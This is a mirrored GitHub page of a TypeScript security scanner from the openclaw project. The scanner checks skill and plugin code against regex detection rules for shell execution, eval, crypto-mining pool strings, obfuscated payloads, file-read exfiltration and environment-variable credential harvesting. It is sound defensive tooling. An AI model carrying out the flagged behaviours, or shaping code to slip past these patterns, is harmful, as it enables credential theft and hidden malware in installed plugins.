mirror of
https://github.com/openclaw/openclaw.git
synced 2026-02-09 05:19:32 +08:00
* security: add skill/plugin code safety scanner module * security: integrate skill scanner into security audit * security: add pre-install code safety scan for plugins * style: fix curly brace lint errors in skill-scanner.ts * docs: add changelog entry for skill code safety scanner * style: append ellipsis to truncated evidence strings * fix(security): harden plugin code safety scanning * fix: scan skills on install and report code-safety details * fix: dedupe audit-extra import * fix(security): make code safety scan failures observable * fix(test): stabilize smoke + gateway timeouts (#9806) (thanks @abdelsfane) --------- Co-authored-by: Darshil <ddhameliya@mail.sfsu.edu> Co-authored-by: Darshil <81693876+dvrshil@users.noreply.github.com> Co-authored-by: George Pickett <gpickett00@gmail.com>
442 lines
12 KiB
TypeScript
442 lines
12 KiB
TypeScript
import fs from "node:fs/promises";
|
|
import path from "node:path";
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Types
|
|
// ---------------------------------------------------------------------------
|
|
|
|
export type SkillScanSeverity = "info" | "warn" | "critical";
|
|
|
|
export type SkillScanFinding = {
|
|
ruleId: string;
|
|
severity: SkillScanSeverity;
|
|
file: string;
|
|
line: number;
|
|
message: string;
|
|
evidence: string;
|
|
};
|
|
|
|
export type SkillScanSummary = {
|
|
scannedFiles: number;
|
|
critical: number;
|
|
warn: number;
|
|
info: number;
|
|
findings: SkillScanFinding[];
|
|
};
|
|
|
|
export type SkillScanOptions = {
|
|
includeFiles?: string[];
|
|
maxFiles?: number;
|
|
maxFileBytes?: number;
|
|
};
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Scannable extensions
|
|
// ---------------------------------------------------------------------------
|
|
|
|
const SCANNABLE_EXTENSIONS = new Set([
|
|
".js",
|
|
".ts",
|
|
".mjs",
|
|
".cjs",
|
|
".mts",
|
|
".cts",
|
|
".jsx",
|
|
".tsx",
|
|
]);
|
|
|
|
const DEFAULT_MAX_SCAN_FILES = 500;
|
|
const DEFAULT_MAX_FILE_BYTES = 1024 * 1024;
|
|
|
|
export function isScannable(filePath: string): boolean {
|
|
return SCANNABLE_EXTENSIONS.has(path.extname(filePath).toLowerCase());
|
|
}
|
|
|
|
function isErrno(err: unknown, code: string): boolean {
|
|
if (!err || typeof err !== "object") {
|
|
return false;
|
|
}
|
|
if (!("code" in err)) {
|
|
return false;
|
|
}
|
|
return (err as { code?: unknown }).code === code;
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Rule definitions
|
|
// ---------------------------------------------------------------------------
|
|
|
|
type LineRule = {
|
|
ruleId: string;
|
|
severity: SkillScanSeverity;
|
|
message: string;
|
|
pattern: RegExp;
|
|
/** If set, the rule only fires when the *full source* also matches this pattern. */
|
|
requiresContext?: RegExp;
|
|
};
|
|
|
|
type SourceRule = {
|
|
ruleId: string;
|
|
severity: SkillScanSeverity;
|
|
message: string;
|
|
/** Primary pattern tested against the full source. */
|
|
pattern: RegExp;
|
|
/** Secondary context pattern; both must match for the rule to fire. */
|
|
requiresContext?: RegExp;
|
|
};
|
|
|
|
const LINE_RULES: LineRule[] = [
|
|
{
|
|
ruleId: "dangerous-exec",
|
|
severity: "critical",
|
|
message: "Shell command execution detected (child_process)",
|
|
pattern: /\b(exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(/,
|
|
requiresContext: /child_process/,
|
|
},
|
|
{
|
|
ruleId: "dynamic-code-execution",
|
|
severity: "critical",
|
|
message: "Dynamic code execution detected",
|
|
pattern: /\beval\s*\(|new\s+Function\s*\(/,
|
|
},
|
|
{
|
|
ruleId: "crypto-mining",
|
|
severity: "critical",
|
|
message: "Possible crypto-mining reference detected",
|
|
pattern: /stratum\+tcp|stratum\+ssl|coinhive|cryptonight|xmrig/i,
|
|
},
|
|
{
|
|
ruleId: "suspicious-network",
|
|
severity: "warn",
|
|
message: "WebSocket connection to non-standard port",
|
|
pattern: /new\s+WebSocket\s*\(\s*["']wss?:\/\/[^"']*:(\d+)/,
|
|
},
|
|
];
|
|
|
|
const STANDARD_PORTS = new Set([80, 443, 8080, 8443, 3000]);
|
|
|
|
const SOURCE_RULES: SourceRule[] = [
|
|
{
|
|
ruleId: "potential-exfiltration",
|
|
severity: "warn",
|
|
message: "File read combined with network send — possible data exfiltration",
|
|
pattern: /readFileSync|readFile/,
|
|
requiresContext: /\bfetch\b|\bpost\b|http\.request/i,
|
|
},
|
|
{
|
|
ruleId: "obfuscated-code",
|
|
severity: "warn",
|
|
message: "Hex-encoded string sequence detected (possible obfuscation)",
|
|
pattern: /(\\x[0-9a-fA-F]{2}){6,}/,
|
|
},
|
|
{
|
|
ruleId: "obfuscated-code",
|
|
severity: "warn",
|
|
message: "Large base64 payload with decode call detected (possible obfuscation)",
|
|
pattern: /(?:atob|Buffer\.from)\s*\(\s*["'][A-Za-z0-9+/=]{200,}["']/,
|
|
},
|
|
{
|
|
ruleId: "env-harvesting",
|
|
severity: "critical",
|
|
message:
|
|
"Environment variable access combined with network send — possible credential harvesting",
|
|
pattern: /process\.env/,
|
|
requiresContext: /\bfetch\b|\bpost\b|http\.request/i,
|
|
},
|
|
];
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Core scanner
|
|
// ---------------------------------------------------------------------------
|
|
|
|
function truncateEvidence(evidence: string, maxLen = 120): string {
|
|
if (evidence.length <= maxLen) {
|
|
return evidence;
|
|
}
|
|
return `${evidence.slice(0, maxLen)}…`;
|
|
}
|
|
|
|
export function scanSource(source: string, filePath: string): SkillScanFinding[] {
|
|
const findings: SkillScanFinding[] = [];
|
|
const lines = source.split("\n");
|
|
const matchedLineRules = new Set<string>();
|
|
|
|
// --- Line rules ---
|
|
for (const rule of LINE_RULES) {
|
|
if (matchedLineRules.has(rule.ruleId)) {
|
|
continue;
|
|
}
|
|
|
|
// Skip rule entirely if context requirement not met
|
|
if (rule.requiresContext && !rule.requiresContext.test(source)) {
|
|
continue;
|
|
}
|
|
|
|
for (let i = 0; i < lines.length; i++) {
|
|
const line = lines[i];
|
|
const match = rule.pattern.exec(line);
|
|
if (!match) {
|
|
continue;
|
|
}
|
|
|
|
// Special handling for suspicious-network: check port
|
|
if (rule.ruleId === "suspicious-network") {
|
|
const port = parseInt(match[1], 10);
|
|
if (STANDARD_PORTS.has(port)) {
|
|
continue;
|
|
}
|
|
}
|
|
|
|
findings.push({
|
|
ruleId: rule.ruleId,
|
|
severity: rule.severity,
|
|
file: filePath,
|
|
line: i + 1,
|
|
message: rule.message,
|
|
evidence: truncateEvidence(line.trim()),
|
|
});
|
|
matchedLineRules.add(rule.ruleId);
|
|
break; // one finding per line-rule per file
|
|
}
|
|
}
|
|
|
|
// --- Source rules ---
|
|
const matchedSourceRules = new Set<string>();
|
|
for (const rule of SOURCE_RULES) {
|
|
// Allow multiple findings for different messages with the same ruleId
|
|
// but deduplicate exact (ruleId+message) combos
|
|
const ruleKey = `${rule.ruleId}::${rule.message}`;
|
|
if (matchedSourceRules.has(ruleKey)) {
|
|
continue;
|
|
}
|
|
|
|
if (!rule.pattern.test(source)) {
|
|
continue;
|
|
}
|
|
if (rule.requiresContext && !rule.requiresContext.test(source)) {
|
|
continue;
|
|
}
|
|
|
|
// Find the first matching line for evidence + line number
|
|
let matchLine = 0;
|
|
let matchEvidence = "";
|
|
for (let i = 0; i < lines.length; i++) {
|
|
if (rule.pattern.test(lines[i])) {
|
|
matchLine = i + 1;
|
|
matchEvidence = lines[i].trim();
|
|
break;
|
|
}
|
|
}
|
|
|
|
// For source rules, if we can't find a line match the pattern might span
|
|
// lines. Report line 0 with truncated source as evidence.
|
|
if (matchLine === 0) {
|
|
matchLine = 1;
|
|
matchEvidence = source.slice(0, 120);
|
|
}
|
|
|
|
findings.push({
|
|
ruleId: rule.ruleId,
|
|
severity: rule.severity,
|
|
file: filePath,
|
|
line: matchLine,
|
|
message: rule.message,
|
|
evidence: truncateEvidence(matchEvidence),
|
|
});
|
|
matchedSourceRules.add(ruleKey);
|
|
}
|
|
|
|
return findings;
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Directory scanner
|
|
// ---------------------------------------------------------------------------
|
|
|
|
function normalizeScanOptions(opts?: SkillScanOptions): Required<SkillScanOptions> {
|
|
return {
|
|
includeFiles: opts?.includeFiles ?? [],
|
|
maxFiles: Math.max(1, opts?.maxFiles ?? DEFAULT_MAX_SCAN_FILES),
|
|
maxFileBytes: Math.max(1, opts?.maxFileBytes ?? DEFAULT_MAX_FILE_BYTES),
|
|
};
|
|
}
|
|
|
|
function isPathInside(basePath: string, candidatePath: string): boolean {
|
|
const base = path.resolve(basePath);
|
|
const candidate = path.resolve(candidatePath);
|
|
const rel = path.relative(base, candidate);
|
|
return rel === "" || (!rel.startsWith(`..${path.sep}`) && rel !== ".." && !path.isAbsolute(rel));
|
|
}
|
|
|
|
async function walkDirWithLimit(dirPath: string, maxFiles: number): Promise<string[]> {
|
|
const files: string[] = [];
|
|
const stack: string[] = [dirPath];
|
|
|
|
while (stack.length > 0 && files.length < maxFiles) {
|
|
const currentDir = stack.pop();
|
|
if (!currentDir) {
|
|
break;
|
|
}
|
|
|
|
const entries = await fs.readdir(currentDir, { withFileTypes: true });
|
|
for (const entry of entries) {
|
|
if (files.length >= maxFiles) {
|
|
break;
|
|
}
|
|
// Skip hidden dirs and node_modules
|
|
if (entry.name.startsWith(".") || entry.name === "node_modules") {
|
|
continue;
|
|
}
|
|
|
|
const fullPath = path.join(currentDir, entry.name);
|
|
if (entry.isDirectory()) {
|
|
stack.push(fullPath);
|
|
} else if (isScannable(entry.name)) {
|
|
files.push(fullPath);
|
|
}
|
|
}
|
|
}
|
|
|
|
return files;
|
|
}
|
|
|
|
async function resolveForcedFiles(params: {
|
|
rootDir: string;
|
|
includeFiles: string[];
|
|
}): Promise<string[]> {
|
|
if (params.includeFiles.length === 0) {
|
|
return [];
|
|
}
|
|
|
|
const seen = new Set<string>();
|
|
const out: string[] = [];
|
|
|
|
for (const rawIncludePath of params.includeFiles) {
|
|
const includePath = path.resolve(params.rootDir, rawIncludePath);
|
|
if (!isPathInside(params.rootDir, includePath)) {
|
|
continue;
|
|
}
|
|
if (!isScannable(includePath)) {
|
|
continue;
|
|
}
|
|
if (seen.has(includePath)) {
|
|
continue;
|
|
}
|
|
|
|
let st: Awaited<ReturnType<typeof fs.stat>> | null = null;
|
|
try {
|
|
st = await fs.stat(includePath);
|
|
} catch (err) {
|
|
if (isErrno(err, "ENOENT")) {
|
|
continue;
|
|
}
|
|
throw err;
|
|
}
|
|
if (!st?.isFile()) {
|
|
continue;
|
|
}
|
|
|
|
out.push(includePath);
|
|
seen.add(includePath);
|
|
}
|
|
|
|
return out;
|
|
}
|
|
|
|
async function collectScannableFiles(dirPath: string, opts: Required<SkillScanOptions>) {
|
|
const forcedFiles = await resolveForcedFiles({
|
|
rootDir: dirPath,
|
|
includeFiles: opts.includeFiles,
|
|
});
|
|
if (forcedFiles.length >= opts.maxFiles) {
|
|
return forcedFiles.slice(0, opts.maxFiles);
|
|
}
|
|
|
|
const walkedFiles = await walkDirWithLimit(dirPath, opts.maxFiles);
|
|
const seen = new Set(forcedFiles.map((f) => path.resolve(f)));
|
|
const out = [...forcedFiles];
|
|
for (const walkedFile of walkedFiles) {
|
|
if (out.length >= opts.maxFiles) {
|
|
break;
|
|
}
|
|
const resolved = path.resolve(walkedFile);
|
|
if (seen.has(resolved)) {
|
|
continue;
|
|
}
|
|
out.push(walkedFile);
|
|
seen.add(resolved);
|
|
}
|
|
return out;
|
|
}
|
|
|
|
async function readScannableSource(filePath: string, maxFileBytes: number): Promise<string | null> {
|
|
let st: Awaited<ReturnType<typeof fs.stat>> | null = null;
|
|
try {
|
|
st = await fs.stat(filePath);
|
|
} catch (err) {
|
|
if (isErrno(err, "ENOENT")) {
|
|
return null;
|
|
}
|
|
throw err;
|
|
}
|
|
if (!st?.isFile() || st.size > maxFileBytes) {
|
|
return null;
|
|
}
|
|
try {
|
|
return await fs.readFile(filePath, "utf-8");
|
|
} catch (err) {
|
|
if (isErrno(err, "ENOENT")) {
|
|
return null;
|
|
}
|
|
throw err;
|
|
}
|
|
}
|
|
|
|
export async function scanDirectory(
|
|
dirPath: string,
|
|
opts?: SkillScanOptions,
|
|
): Promise<SkillScanFinding[]> {
|
|
const scanOptions = normalizeScanOptions(opts);
|
|
const files = await collectScannableFiles(dirPath, scanOptions);
|
|
const allFindings: SkillScanFinding[] = [];
|
|
|
|
for (const file of files) {
|
|
const source = await readScannableSource(file, scanOptions.maxFileBytes);
|
|
if (source == null) {
|
|
continue;
|
|
}
|
|
const findings = scanSource(source, file);
|
|
allFindings.push(...findings);
|
|
}
|
|
|
|
return allFindings;
|
|
}
|
|
|
|
export async function scanDirectoryWithSummary(
|
|
dirPath: string,
|
|
opts?: SkillScanOptions,
|
|
): Promise<SkillScanSummary> {
|
|
const scanOptions = normalizeScanOptions(opts);
|
|
const files = await collectScannableFiles(dirPath, scanOptions);
|
|
const allFindings: SkillScanFinding[] = [];
|
|
let scannedFiles = 0;
|
|
|
|
for (const file of files) {
|
|
const source = await readScannableSource(file, scanOptions.maxFileBytes);
|
|
if (source == null) {
|
|
continue;
|
|
}
|
|
scannedFiles += 1;
|
|
const findings = scanSource(source, file);
|
|
allFindings.push(...findings);
|
|
}
|
|
|
|
return {
|
|
scannedFiles,
|
|
critical: allFindings.filter((f) => f.severity === "critical").length,
|
|
warn: allFindings.filter((f) => f.severity === "warn").length,
|
|
info: allFindings.filter((f) => f.severity === "info").length,
|
|
findings: allFindings,
|
|
};
|
|
}
|